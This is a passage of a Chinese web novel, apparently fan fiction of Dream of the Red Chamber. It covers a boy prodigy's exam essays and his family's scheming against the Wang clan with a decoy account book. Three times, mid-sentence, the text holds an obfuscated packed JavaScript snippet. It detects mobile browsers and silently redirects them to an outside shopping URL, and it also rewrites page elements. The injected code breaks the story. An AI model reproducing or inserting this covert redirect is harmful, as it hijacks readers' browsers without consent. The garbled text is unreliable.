长生从萧何、曹参、房玄龄、杜如晦等贤相,说到霍光、李林甫等权臣,分析权重何以有时致治、有时致乱,关键在于公心与私心。 最终,长生谨慎写道: “臣闻宰相者,上佐天子,下理阴阳,外镇四夷,内安百姓,其任重矣,汉之萧曹,唐之房杜,皆权重而国治,何也?人主推心,宰相信任,君臣一体,故能成治平之功,及至汉之霍光,唐之李林甫,虽权重而国乱,何也?私心用事,壅蔽聪明,权归于私门,故酿祸乱。” 第二道题,问:王安石变法,得失若何?” 这道题极敏感,又是争议话题,说好说坏都不妥,只能折中两边不得罪,长生想了想,写道: “荆公变法,本意欲富国强兵,其志可嘉,然法非其人,则弊生焉,青苗法欲惠农,而吏缘为奸;免役法欲便民,而费反倍增。此非法之不善,乃行法者非其人也。昔管子治齐,商君强秦,皆变法而功成,何也?得人故也,故臣以为,法无善恶,在得人而行。” 第三道为时务题。 “问:今东南倭患屡炽,当以何策平之?” 长生前世孤魂游荡的时候,曾见过江山易主,新朝闭关锁国之举,分明国家强大内有利器能人,当政者知晓天下事却无动于衷,任由后代受尽瓜分之苦。 所谓倭寇,是东南沿海为寇作乱的日本海盗集团,起初倭寇是以日本人为主,而到了万历年代,倭寇基本为中日混编,原因无他,自从明朝海禁政策和日本国内分裂动荡,主要以中国沿海居民(海盗)和中国浪人为主,而之所以海禁,其根本目的就是为了断绝东南沿海的政治威胁。而这个政策是一时的,不可持续。 林长生眼睛一闭,心中有些想法,睁开眼睛时答案已经呼之欲出,切不能为一时安全而忽略大全,再次提笔: “倭患之起,其因有三:一曰海禁严苛,商旅不通,民困而为盗,二曰卫所废弛,军备不修,三曰将吏贪懦,畏敌如虎。欲平之,当以三策:开海禁,设市舶司,许民出海贸易,则盗源自绝,练水师,造战船,严海防;择良将,明赏罚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17014786|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怯战者诛,奋勇者赏。如此,则倭患可平矣。” 开海禁的主张虽是大胆之论,但在民间确有此呼声,在此基础上发言不足为奇。 林长生驱散内心郁气,强打精神准备写下一道题 第四道为学术,如下。 “问:理学、心学,孰为圣学正脉?” 今年秋闱倒是与巡常不同,先是变法,后是海患,紧接着是学术之争,理学是官方正统,心学自王阳明后兴起,二者常有论辩。 若偏向任何一方都为不妥,有立场嫌隙,重生过的脑子就是好用,立马想到调和二说,博采众长。 长生写道: “臣闻理在人心,心外无理,朱子格物,阳明致知其道一也,朱子教人即物穷理,阳明教人反求诸心,皆欲人明善而复性耳,譬之登山,朱子自下而上,步步踏实,阳明自上而下,直指本心,路径虽异,同归于顶。学者当取其长,弃其短,何必分门户耶?” 长生稍微挪动身躯舒展,终于到了最后一道: “问:君子小人,何以辨之?” 这道看似简单,实难作答,断不会简单以辩点题,长生沉思良久,脑子活络间已从动机、行事之处剖析,方提笔: “君子小人,迹似而心殊,同是进言,君子为公,小人为私,同是退隐,君子守道,小人全身。昔孔子诛少正卯,以其心逆而险,行僻而坚。故辨之之道,不在其迹,而在其心。观其所以,观其所由,察其所安,则君子小人判然矣。” 五道策论作完,已是申时,长生将文章一一誊清,待到最后一笔落下,外头传来三声炮响,收卷了。 差役挨个号舍收卷,封名糊名,长生交了卷,收拾考篮,走出号舍,三日未出,重见天日,竟有些恍惚。 贡院外,已有家人在等,林忠一见长生出来,忙迎上:“少爷,可算出来了!老爷、姑娘都在家等着呢!” 长生点头,上了马车,靠在车厢里才觉浑身乏力,这三日精神高度紧张,此刻松懈下来,竟有些虚脱。 回到林府,黛玉已在二门等着,见长生下车,忙上前将果子揣他兜里:“长生,可还顺利?” “顺利。”长生微笑兜住,“姐姐放心。” 二人边走边聊,黛玉见长生无沮丧之色,便松了眉头开始玩笑起来,一来二去姐弟二人很快到了前厅。 林如海在前厅等候多时,见儿子回来,观察神色片刻,点头道:“回来就好,先去好生歇息,秋闱之事,静候发榜便是。” “儿子明白。” 沐浴更衣毕,长生躺在床上,翻来覆去睡不着,这三日的文章还在脑子里浮现,虽然自觉满意,只是不知主考官如何看,甚至后悔,为何一考完脑子里又冒出更多觉得好的解题思路? 七日后放榜,那日天未亮,贡院前已挤满了人。 长生未去,只在家中等,倒是林忠等人簇拥着一早就去了,说是要看榜。 辰时末,外头一阵锣鼓声,接着是林忠气喘吁吁跑进来:“少爷!中了!中了!第六名亚魁!” 长生松了口气,他要求已不高,中举即可,第六名不错了,他今年八岁能中亚魁,已是惊世骇俗, 接着,报喜的差役上门,林家上下,一片欢腾。林如海虽神色平静,可眼里有掩不住的笑意。黛玉更是喜极而泣,拉着长生的手:“我就知道,长生定能中的。” 消息传开,京城轰动,八岁举人,论古至今倒是见过神童若干,可神童挺过泯然劫数高中是头一遭,那些窃窃私语者有些名落孙山,有些侥幸上榜,但皆痛哭流涕忽然醒悟,若他日同朝为官,那林家是否记恨于心? 那些清流官员,纷纷上门道贺,沈砚、周文渊、李大人等都来了,连镇国公府也送了贺礼。 倒是王子腾那边,静悄悄的,贾府更是毫无动静,他们如今自顾不暇,哪还顾得上林家? 夜里,林如海将长生叫到书房,正色道:“长生,你今日中了举,从今往后,你一言一行,都有人看着,要更加谨言慎行,不可有半分骄矜。” “儿子谨记。” “明年春闱,你可要下场?” 长生想了想:“儿子想试一试。” “好,”林如海点头,“那便试一试,中不中都在其次,要紧的是经历一番,长些见识。” “儿子明白。” 从书房出来,见甄士隐站在廊下,长生上前行礼:“先生。” 甄士隐看着他,眼中饱含关切,“公子今日高中,老朽欣慰,但木秀于林,公子日后,要更加小心。” “学生明白,谢先生教诲。” 回到房中,长生推开窗,见天上明月皎洁,重生时发下的誓言依旧历历在目,不仅要护住姐姐,更要让林家兴盛。如今他一步步在走,中了秀才,中了举人,明年若能中进士便能在朝堂有一席之地,能真正为父亲分忧,为姐姐遮风挡雨。 夜空,紫薇亮起,不见往年暗淡。 30.暗流涌起 这日午后,黛玉在花厅与严素心、沈家姐妹说话,说起长生秋闱的文章,严素心笑道:“林弟弟这般年纪便有如此见识,真是难得,我父亲看了他那篇漕运论,连连称赞,说切中时弊,非纸上谈兵。” 沈玉如道:“可不是么,我哥哥也说,那篇论君子小人的文章,鞭辟入里,便是许多老学究也写不出。” 正说着,外头丫鬟来报:“姑娘,牛小姐来了。” 黛玉微怔,自诗社后,牛萱又来过两回,都是送些诗集字帖,坐一会儿便走,言语间愈发谦和,黛玉对她也渐渐去了戒心。 “请进来罢。” 牛萱今日穿着杏黄绣缠枝莲的袄子,下系月白绫裙,比往日更素净几分,她进来见礼,又与严素心等人见过,方在黛玉身边坐下。 “林姑娘,我今日来,是有事相求。”牛萱开门见山。 黛玉道:“牛小姐请讲。” 牛萱从袖中取出一封信,双手递上:“这是我父亲写给林大人的信,事关王家。” 黛玉未接,只道:“牛小姐,家父的公务,我不敢过问,这信,还是请牛小姐亲自送去户部衙门罢。” 牛萱摇头,早在进来时遣散了奴仆,且在坐的皆为林家至交可信,才道:“这信不能经外人之手,我父亲说了务必亲自交到林大人手中,且要避开耳目。” 见黛玉狐疑,她垂眸,道:“林姑娘,王家要有大动作。” 黛玉心中一惊。严素心等人也变了脸色。 沈玉如忙道:“牛小姐,这话可不能乱说。” “我不是乱说。”牛萱神色凝重,“前日王子腾来我府上,与我父亲密谈至深夜,我虽不知他们谈了什么,可王子腾离开时面色不爽,我父亲送他出门后,在书房坐了一夜,第二日便写了这信。” 她将信放在桌上:“林姑娘,我知林家与王家不睦,我父亲与王子腾也有旧怨。这封信,是我父亲的一点心意,还请姑娘务必转交林大人。” 黛玉看着那信,信封是寻常的素笺,无字无印。 她方道:“既如此,我先替家父收下,待家父回来,定当转交。” “多谢姑娘,”牛萱起身,看了一圈众人,不再多言,“我便不叨扰了,姑娘保重。” 送走牛萱,严素心低声道:“林妹妹,万事小心。” 沈玉妍也道:“牛小姐这般郑重,那信里定是紧要的事,妹妹还是早些交给林大人才好。” 黛玉点头:“我省得。” 正说着,长生从学里回来了,见厅中气氛凝重,便问:“姐姐,怎么了?” 黛玉将信的事说了,长生接过信,掂了掂,不重。 他沉吟道:“牛继宗与王子腾,都是勋贵,一荣俱荣,一损俱损,如今牛继宗竟要暗中传信给父亲,这事蹊跷。” “你是说,牛继宗在使诈?” “未必,”长生摇头,“牛继宗是聪明人,见风使舵的本事一流,如今王家势危,他是想弃车保帅。” “那这信……” “等父亲回来再说。” 傍晚,林如海回府,长生将信呈上,又将牛萱的话转述一遍。 林如海拆开信,只看了几行,脸色便沉了下来。 “父亲,信上说什么?” 林如海将信递给他,长生接过,见信上写道: “如海兄台鉴:王子腾欲借京营整顿之名,行排除异己之实,已密令心腹,搜集兄在扬州时贪墨盐税和诬陷同僚之罪证,欲于九月大朝时发难,兄宜早作防备。另,贾政近日频往王府,恐亦参与其中。弟继宗顿首。” 信不长,字里行间的暗示便是:王子腾要反击了,而且拉上了贾政。 “贪墨盐税,诬陷同僚……”长生冷笑,“好大的罪名,父亲在扬州数年,清正廉明,圣上皆知,他们这般诬陷岂能得逞?” 林如海却摇头:“长生,你不懂,这朝堂上的事,真真假假说不清,我在扬州,经手的银子何止百万?只要他们做几本假账,找几个人证,便可坐实罪名,届时便是圣上信我,也要给朝野一个交代。” “那……” 林如海眼中寒光一闪,“王子腾在京营那些事,为父也查了些眉目,他既不留情面,莫怪我不留余地。” “父亲要如何做?” “明日,为父要上一道折子。”林如海缓缓道,“参王子腾贪墨军饷,纵容家奴强占民田,还有……私通鞑靼。” “私通鞑靼?”长生一惊,“这可是通敌大罪!” “是通敌大罪。”林如海道,“可若无实据,便是诬告,为父有实据。” 他从书案暗格中取出一本账册,是自己在扬州获取的另外账本暗单,翻到一页,指给长生看:“你看,宣和三年,王子腾的心腹参将王彪,在张家口与鞑靼商人交易,以生铁、茶叶换马匹,这笔生意,王子腾抽了三成利。” 长生细看,那账册上记得清楚:宣和二年六月,物价飞涨,王彪经手,生铁五百斤,茶叶三百担,换良马二百匹,下头还有个小字,王公抽三成。 “这账册?” “是那王姓盐商记的另一个副本,”林如海道,“他与王彪有往来,这些事,都记在账上,与你先前得到的原为三本,原本我还不愿用,如今……不得不用了。” 长生沉默,王子腾若真通敌,那是死罪,可这账册是盐商的私账,能否作为证据,还两说,上会圣上压着没有行动,如今别的证据一旦用出,便是与王家彻底撕破脸,不死不休。 “父亲可想好了?” “想好了。”林如海合上账册,“他们既要置我于死地,我便不能坐以待毙,这副册,明日我便呈给圣上,至于圣上如何决断……便看天意了。” 林长生看了一眼账本副册,看来父亲留了一手,并未完全信任圣上,尽管如今关外大捷,可圣上到底无多少根基,哪怕全盘托出无异于把自己底牌也揭开。 正说着,外头林忠匆匆进来:“老爷,宫里来人了,说是圣上急召!” 林如海与长生对视一眼,这个时候急召,定是出了大事。 “更衣,备车。” 林如海匆匆换了朝服,往宫里去,长生送到门口,黛玉也出来了,见弟弟神色凝重,便问:“父亲这么晚进宫,可是有事?” “但愿无事。”长生低声道。 这一等,便等到子时。 林如海回来时面色铁青,一进书房,便对长生道:“出事了。” “何事?” “陈启年在狱中……暴毙了。” 长生一惊:“暴毙?怎么死的?” “说是突发心疾,可……”林如海冷笑,“早不病晚不病,偏偏在三司要定案时病死了,哪有这般巧的事?” “父亲是说……” “灭口。”林如海一字一句,“陈启年知道的太多,一旦定案,不知要牵连多少人,那些人便让他永远闭嘴,是为父大意,让他们转了空子。” 长生心往下沉,陈启年一死,许多线索便断了,那些与他勾结的官员,便可高枕无忧。 “圣上怎么说?” “圣上震怒,已命三司会查,务必查清死因,”林如海说得轻描淡写,“可查清又如何?人死不能复生,那些账目,那些供词,都成了死无对证。” “那王子腾的事?” “暂缓。”林如海道,“陈启年刚死,若此时再动王子腾,朝野必疑是为排除异己,等这阵风头过了再说。” 长生默然,他明白父亲的顾忌,陈启年死得蹊跷,若此时再动王子腾,难免让人疑心是林家要铲除政敌,届时,便是圣上信父亲,也要考虑朝野议论。 “那咱们……” “以静制动。”林如海道,私底下没有告诉任何人调遣了林家亲卫,倘若他不幸身死,必扶持长生继承林家,若长生也不幸遇难…… 与此同时,王子腾府邸。 王子腾坐在书房,面前站着个黑衣人,那人道:“老爷,事已办妥,陈启年已死,绝无后患。” “可留下痕迹?” “没有。用的是西域奇毒,入水即化,银针也试不出,狱中已打点妥当,仵作会报突发心疾。” 王子腾点头:“办得好。下去领赏罢。” 黑衣人退下,王子腾走到窗前,望着夜色,唇角勾起一抹冷笑,陈启年啊陈启年,莫怪我心狠,要怪,只怪你知道得太多。 他原本不想走这一步,可林如海逼得太紧,陈启年又熬不住刑,虽未供出王子腾,若真让他全招了,王家百年基业,便要毁于一旦。 不得已,只能灭口。 林如海那边怕是不会善罢甘休,王子腾想起牛继宗那封信,那老狐狸,果然靠不住,竟暗中向林家递信,想撇清关系。 也好,等收拾了林家,下一个便轮到镇国公府。 正想着,外头传来脚步声,管家进来禀报:“老爷,贾政老爷来了。” 王子腾皱眉:“这么晚,他来作甚?” “说是有要事相商。” “让他进来。” 贾政匆匆进来,面色惶恐,一见王子腾,便道:“舅兄,不好了!” “何事惊慌?” “林如海、林如海要参你!”贾政急道,“我得了消息,他已在搜集证据,要参你贪墨军饷,私通、私通鞑靼!” 王子腾心中一惊,不动声色:“你从何处得的消息?” “是牛继宗府上的人透露的,”贾政压低声音,“牛继宗与林如海暗中往来,欲联手对付舅兄,那林如海手中有本账册,记着王彪与鞑靼交易的事。” 王子腾脸色终于变了,那本账册!他原以为随那盐商之死,已无人知晓,不想竟落到林如海手中! “消息可确凿?” “千真万确!”贾政尚不知账册早已被圣上知晓,还道,“舅兄,如今如何是好?若那账册呈到御前,可是抄家灭族的大罪!” 王子腾在房中踱了几步,停住:“为今之计,只有一条路。” “舅兄请讲。” “先下手为强。”王子腾眼中闪过狠色,“林如海既要不仁,便莫怪我不义,他手中那本账册,必要毁掉,还有他那个儿子,也不能留。” 贾政一惊:“舅兄是说……” “林长生今年秋闱高中,明年春闱,必是要下场的,”王子腾冷冷道,“若他在春闱前出了意外,林如海必受打击,届时,咱们再动手,便容易多了。” “可…可那孩子才八岁。” “八岁如何?”王子腾打断他,“林长生八岁能中举,这样的祸害,留不得。” 贾政冷汗涔涔,却不敢再言,王子腾看他一眼,道:“你既来了,便出一份力,林府那边你熟悉,想想办法,将那账册弄出来。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17032149|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……我如何弄?” “那是你的事。”王子腾道,“我要见到那账册,否则你那些事,也瞒不住。” 贾政面如死灰,只得应了。 送走贾政,王子腾独坐书房,心中盘算:林如海,这是你逼我的,既然要斗,那便斗个你死我活。 只是那本账册究竟在何处?林府守卫森严,要进去盗取,谈何容易? 他忽然想起一人,贾宝玉,那孩子与林黛玉是表亲,若让他去…… 王子腾摇头,贾宝玉是个糊涂的,成事不足,败事有余,不能让他去。 那还有谁? 他思忖良久,忽然眼睛一亮。有了。 过了些日子,风平浪静。 林府来了位不速之客,薛姨妈带着薛宝钗来了。 黛玉在花厅接待,薛姨妈今日格外热情,拉着黛玉的手道:“好孩子,多日不见,愈发标致了,你宝姐姐常念叨你,今日特来看你。” 薛宝钗今日穿着蜜合色袄子,下系葱黄绫裙,端庄娴静,她向黛玉行礼:“林妹妹。” 黛玉还礼:“薛姐姐请坐。” 薛姨妈笑道:“你们姐妹说话,我去看看你父亲。”说着,便往外走。 黛玉忙道:“姨妈,父亲在书房见客,怕是不便。” “无妨,我就在外头等等。”薛姨妈说着,已出了花厅。 黛玉心中起疑,却不好阻拦,只得与薛宝钗说话,薛宝钗今日话格外多,从诗词说到女红,又从女红说到家常,东拉西扯,似在拖延时间。 黛玉心中不安,对紫鹃使了个眼色,紫鹃会意,悄悄退出去。 书房这边,林如海正在与沈砚议事,薛姨妈横冲直撞来了,林忠拦不住,只得进来禀报。 林如海皱眉:“她来作甚?” 话音未落,薛姨妈已进来了,满脸堆笑:“林姑爷,打扰了,我今日来是有一事相求。” “何事?” 薛姨妈从袖中取出一张礼单:“下月是我家蟠儿生辰,想请姑爷赏光,过府喝杯酒,这是请帖。” 林如海接过,扫了一眼,是寻常请帖,心中疑惑,面上却道:“多谢美意,届时若有空,定当前往。” “那可说定了,”薛姨妈笑着,眼睛往书房四处瞟,她忽然“哎哟”一声,指着书架上一方砚台:“这砚台好生别致,可是端溪的?” 说着,便往书架走去,林如海正要拦,她已走到书架前,伸手去拿那砚台,手一抖,砚台掉在地上,“啪”地碎了。 “哎呀,瞧我笨手笨脚的!”薛姨妈忙蹲下身去捡,手在碎片中摸索,眼睛却盯着书架底层——那里,有个暗格。 林如海脸色阴沉,沈砚也看出不对,起身道:“薛太太,我来收拾罢。” “不用不用,我自己来,”薛姨妈说着,手已触到暗格边缘,正要打开,外头忽然传来长生的声音: “父亲,沈伯父。” 长生走进来,见地上碎砚,薛姨妈蹲在那儿,心中便明白了七八分,他不动声色,上前扶起薛姨妈:“姨妈仔细手,让下人来收拾罢。” 说着,唤林忠进来收拾,薛姨妈只得起身,强笑道:“长生回来了,秋闱高中,还没给你道喜呢。” “姨妈客气了,”长生微笑道,“姨妈今日来,可是有事?” “没…没事,就是送请帖,”薛姨妈有些慌乱,“既送到了,我便不叨扰了,宝丫头还在花厅,我去叫她。” 说着,匆匆走了,沈砚看着她背影,低声道:“如海兄,她这是……” “来探虚实的。”林如海冷笑,“怕是冲着那账册来的。” 长生走到书架前,打开暗格,账册还在,他松了口气,将账册取出,递给父亲:“父亲,这账册放在书房,怕是不安全了。” 林如海点头:“你说得是。可放在何处妥当?” 长生沉思片刻,道:“儿子有个地方,他们绝对想不到。” “何处?” “甄先生处。” 林如海眼睛一亮,甄士隐住在竹风轩,平日深居简出少有人注意,且他身份特殊,那些人便是怀疑,也不敢轻易去搜,况且最危险的地方最安全。 “好,便放在甄先生处。” 长生拿着账册,往竹风轩去,路上,他心中思忖,薛姨妈今日之举,定是受人指使,能指使动她的只有王家,如此看来,王子腾已等不及了。 也好,他们既出了招,便看谁能笑到最后。 竹风轩里,甄士隐听了长生来意,郑重接过账册:“公子放心,此物在贫道这里,绝不会出纰漏。” “有劳先生了。” 从竹风轩出来,长生回到书房。林如海与沈砚还在说话,见他回来,便问:“安置妥当了?” “妥当了,”长生道,“父亲,薛姨妈今日之举,定是王子腾指使,他们既已动了这心思,咱们也要早作防备。” “你说得是,”林如海沉吟,“从今日起,府中加强戒备,出入严查,你姐姐那边要多派人手。” “儿子明白。” 沈砚叹道:“这朝堂之争,竟已到了这般地步,如海兄要小心,王子腾此人心狠手辣,什么都做得出。” “我知,”林如海点头,“多谢沈兄提醒。” 送走沈砚,已是傍晚,长生站在廊下,望着渐沉的夕阳,天边云霞如血,映得满院通红。 31.林家姊弟 晨起时起了薄雾,院中草木都挂着露珠。 黛玉起身,紫鹃服侍她梳洗,见姑娘眼下有淡淡青影,知是昨夜又没睡好,便道:“姑娘这几日心神不宁的,可是有什么心事?” 黛玉摇头:“没什么,只是夜里多梦。”随即问,“长生可起了?” “少爷一早就起了,在书房与甄先生说话呢。” 黛玉点头,让紫鹃梳了个简单的髻,簪了支白玉簪,换了身月白绣兰草的袄裙,便往书房去。 书房里,长生与甄士隐对坐,中间摊着一卷账册,见黛玉进来,甄士隐起身行礼:“姑娘。” “先生请坐,”黛玉在长生身边坐下,看向那账册,“这便是父亲说的那本?” “是,”长生点头,“王子腾的人前日来探,便是为它,如今放在甄先生处可保无虞。” 黛玉拿起账册,翻了几页,她自幼读书,对账目也略通,见上头的数目、人名,条分缕析,心中便有了数,翻到一页,她停住: “宣和二年六月十五,王彪经手,生铁五百斤,茶叶三百担,换良马二百匹。抽三成利,纹银三千两。” 下头还有行小字:“此款经薛家绸缎庄过手,分三次付清。” “薛家?”黛玉抬头,“可是薛姨妈家?” 长生接过细看,点头:“正是薛家在京中有几家绸缎庄,生意做得大,想不到竟也牵涉其中。” 甄士隐道:“薛家是皇商,与内务府往来密切,王子腾那些见不得光的银子,经薛家过手确是稳妥。” 黛玉沉吟片刻,忽然道:“长生,我有个主意。” “姐姐请讲。” “王子腾既想毁这账册,咱们便让他毁。”黛玉缓缓道,“只是真的账本,咱们要留着。” 长生眼睛一亮:“姐姐是说李代桃僵?” “正是,”黛玉道,“咱们仿一本假账册,放在书房原处,他们既来探过一次定会再来,届时让他们得手,他们以为毁了证据便会松懈,咱们再寻机用真账册,一击致命。” 甄士隐赞道:“姑娘好计策,只是假账册要仿得逼真不易。” “这个不难,”黛玉道,“我临过不少字帖,仿人笔迹尚有几分把握,这账册上的字,我瞧过了,是那盐商亲笔,笔迹虽潦草,却有个特点,凡数目字,最后一笔都往上挑,我仿来该有七八分像。” 长生蹙眉:“姐姐身子弱,这般劳神……” “无妨,”黛玉微笑,“这是咱们家的事,我岂能坐视?再说不过是仿本账册,费不了多少心神。” 甄士隐心中感慨。 “既如此,贫道愿助姑娘一臂之力 ”甄士隐道,“贫道在苏州时与那盐商有过几面之缘,记得他写字时的习惯,姑娘仿时,贫道可在旁提点。” “如此,多谢先生了。” 三人商议定,便开始仿制账册。 黛玉寻了本旧账本,纸色、装帧都与原册相似,她铺纸研墨,照着原册,一笔一划地仿。 甄士隐在旁指点:“这王字,他习惯将最后一横写得长些,这银字,右边的艮总写得歪。” 黛玉凝神静气,笔下不停,她本有书画功底,又心细如发,不过半日已仿了十数页,乍看之下竟与原册一般无二。 长生在旁看着,也笨拙模仿笔墨。 正仿着,外头丫鬟来报:“姑娘,薛家宝姑娘来了说是给姑娘送花样。” 黛玉与长生对视一眼,昨日薛姨妈刚来,今日薛宝钗又来,这薛家未免太殷勤了。 “请到花厅,”黛玉放下笔,对长生道,“你与甄先生继续,我去会会她。” 花厅里,薛宝钗已等着,她今日穿着蜜合色绣折枝梅的袄子,下系月白绫裙,端庄依旧见黛玉进来,起身笑道:“林妹妹。” “薛姐姐请坐,”黛玉在她对面坐下,“姐姐今日来,可是有事?” “没什么要紧事,”薛宝钗从袖中取出个花样册子,“前日母亲来,见妹妹衣裳上的绣样别致,回去与我说了,我这儿有新得的花样,想着妹妹或许喜欢,便送来瞧瞧。” 黛玉接过翻了几页,是些时新的花样,牡丹、芙蓉、海棠,绣工精致。 她合上册子,笑道:“多谢姐姐费心,只是我平日穿得素净,用不上这般鲜亮的花样。” “妹妹年轻,正该穿鲜亮些,”薛宝钗说着,目光在厅中扫过,“前日母亲来,失手打碎了林姑父的砚台,心里一直过意不去,今日特让我来赔罪,还带了一方新砚,请妹妹转交。” 说着,让丫鬟捧上个锦盒,黛玉打开,见是方端溪紫石砚,石质细腻,确是上品,但比不上弟弟书房的。 “姨妈太客气了,一方旧砚,不值什么。”黛玉将锦盒推回,“这砚太贵重,不敢收。” “妹妹若不收,母亲该难过了。”薛宝钗坚持,“再者,母亲还有一事相求。” 黛玉面上不动声色:“请讲。” 薛宝钗压低声音:“母亲前日来,见书房书架上有本旧账册,瞧着像是扬州那边的账目,不瞒妹妹,我家在扬州也有些生意,近年账目不清,想借那账册对对,看看可有牵扯。不知妹妹可否行个方便?” 来了,黛玉心中冷笑,面上却作迟疑:“这…那是父亲的账册,我做女儿的,怎好擅动?” “只是借看一日,明日便还,”薛宝钗道,“母亲说了,若妹妹肯帮忙薛家愿出这个数。”她伸出三根手指,甚至天真以为林黛玉真的是大门不出二门不迈的林家大小姐。 三百两?还是三千两?黛玉心中冷笑更甚,薛家为了那账册,真是下了血本。 “姐姐说笑了,”黛玉道,“林家也不缺银子,况且那账册不仅仅是父亲的公物,还是冤死亡魂的公账簿,莫说三百两,便是三万两也不能借。” 薛宝钗脸色一变,强笑道:“妹妹误会了,不是买,是借……” “借也不行。”黛玉起身打断话,“姐姐若无他事,便请回罢,这砚台也请带回去。林家不受不义之财。” 这话说得重了,薛宝钗脸上青白交错,半晌方道:“既如此便不打扰了。”起身,匆匆走了。 送走薛宝钗,黛玉回到书房。长生问:“如何?” “来要账册的,”黛玉冷笑,“许了重利,我没应。” “她定不会善罢甘休,”长生哀叹一声,怎么蠢货一大堆,算盘如此明明白白打在姐姐头上,“今夜怕是有大动作” “正要她有动作,”黛玉道,“假账册已仿了大半,今夜便能成,咱们便不慎让她得手。” 甄士隐叹道:“姑娘这引蛇出洞,太过冒险。” “不冒险,如何成事?”黛玉神色坚定,“父亲在朝堂与他们周旋,咱们在后宅也要尽一份力,总不能事事都靠父亲担着。” 是夜,无月。 林府上下早早歇了,只书房还亮着灯,黛玉、长生、甄士隐三人将最后一页假账册仿完。 黛玉对照原册,细细校对,确认无误,方将假册放入书房暗格,真册仍由甄士隐收着。 “成了,”黛玉长舒口气,这才觉手腕酸软,额上冒汗。 “姐姐累了,快去歇息。”长生扶她坐下,“余下的事,交给我。” 黛玉摇头:“既做了便要做全,今夜,我与你一起等。” 甄士隐道:“贫道也留下,多个人,多个照应。” 于是三人灭了灯,在书房隔壁的小间守着,窗纸糊了个小洞,可窥见书房情形。 子时,万籁俱寂。 墙头传来极轻的响动,接着,一道黑影翻墙而入,落地无声,那黑影穿着夜行衣,蒙着面,身形矫健,显然是个练家子。 黑影在院中观察片刻,便往书房来,到了门前,掏出一根细铁钩,在锁孔里拨弄几下,门“咔”地开了。 黑影闪身入内,直奔书架,他似早知道暗格所在,伸手一按,暗格弹开,露出那本假账册,黑影取出账册就着窗外微光,翻了几页,确认无误,便将账册揣入怀中,转身要走。 就在这时,书房门“砰”地关上。灯火骤然亮起。 长生、甄士隐从屏风后走出,长生手中提着灯笼,冷冷看着那黑衣人:“阁下深夜造访,不知有何贵干?” 黑衣人一惊,转身欲从窗走,却见黛玉站在窗前,手中握着个铜铃。 “你若敢动,我便摇铃,”黛玉道,“府中护卫顷刻便到,届时,你想走也走不了,大不了玉石俱焚。” 黑衣人僵住,他看看长生,又看看黛玉,嗤笑:“就凭你们两个娃娃,一个老道,也想拦我?” 话音未落,他身形暴起,直扑黛玉,长生急喝:“姐姐小心!” 黛玉不退,反将铜铃一摇,“铛”的一声脆响,在静夜中格外刺耳。 几乎同时,窗外射进一道寒光,直取黑衣人后心,黑衣人骇然转身,挥袖挡开,却是一支袖箭。 “什么人?” 窗被推开,一个青衫人影跃入,正是柳湘莲,他手中提着剑,笑道:“深更半夜,欺负两个孩子,算什么好汉?” 黑衣人眼神一凛:“柳湘莲?你怎在此?” “林公子是我朋友,他有事,我自然要帮。”柳湘莲剑尖一指,“你是自己束手就擒,还是要我动手?” 黑衣人冷哼一声,扬手一团白粉撒出,柳湘莲急退:“闭气!是迷药!” 趁这工夫,黑衣人破窗而出,柳湘莲欲追,长生道:“柳兄莫追,由他去。” 柳湘莲收剑,奇道:“为何不追?那账册……” 长生微笑不语,柳湘莲恍然,也没多言点破。 黛玉道,“多谢柳公子相助,若非公子,今夜怕是要有一番恶斗。” 柳湘莲摆手:“举手之劳,我今夜原本是来寻林公子论诗,见府外有可疑之人,便多留了心,不想竟撞上这事。” 他看向黛玉,赞赏:“林姑娘好胆识,方才那般情形竟能不慌不乱,摇铃示警,真是女中豪杰。” 黛玉欠身:“柳公子过奖了。” 正说着,外头传来脚步声,林忠带着护卫赶到,见书房一片狼藉,急道:“少爷,姑娘,没事罢?” “没事。”长生道,“贼人已逃了,不必追,今夜之事,不许外传。” “是。” 众人散去,留长生、黛玉、甄士隐、柳湘莲四人,柳湘莲道:“那黑衣人,身手不错,应是王家养的死士,他盗了假账册回去,王子腾定会以为得手,接下来该有大动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17047744|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 长生道,“他若不动,咱们如何抓他把柄?” 柳湘莲点头,又看向甄士隐:“这位先生是……” “是舍弟的先生,甄士隐甄先生。”黛玉道。 柳湘莲行礼:“原来是甄先生,久仰。” 甄士隐还礼:“柳公子客气。” 四人又说了会子话,柳湘莲方告辞,临行前,对长生道:“林公子,你这位姐姐,真是了不起,日后若有难处只管开口,柳某虽不才,愿助一臂之力。” “多谢柳兄。” 送走柳湘莲,天已微明,黛玉疲惫不堪,长生劝她回房歇息,她摇头:“还有一事未了。” “何事?” 黛玉看向甄士隐,轻声道:“先生,香菱的身世,该告诉她了。” 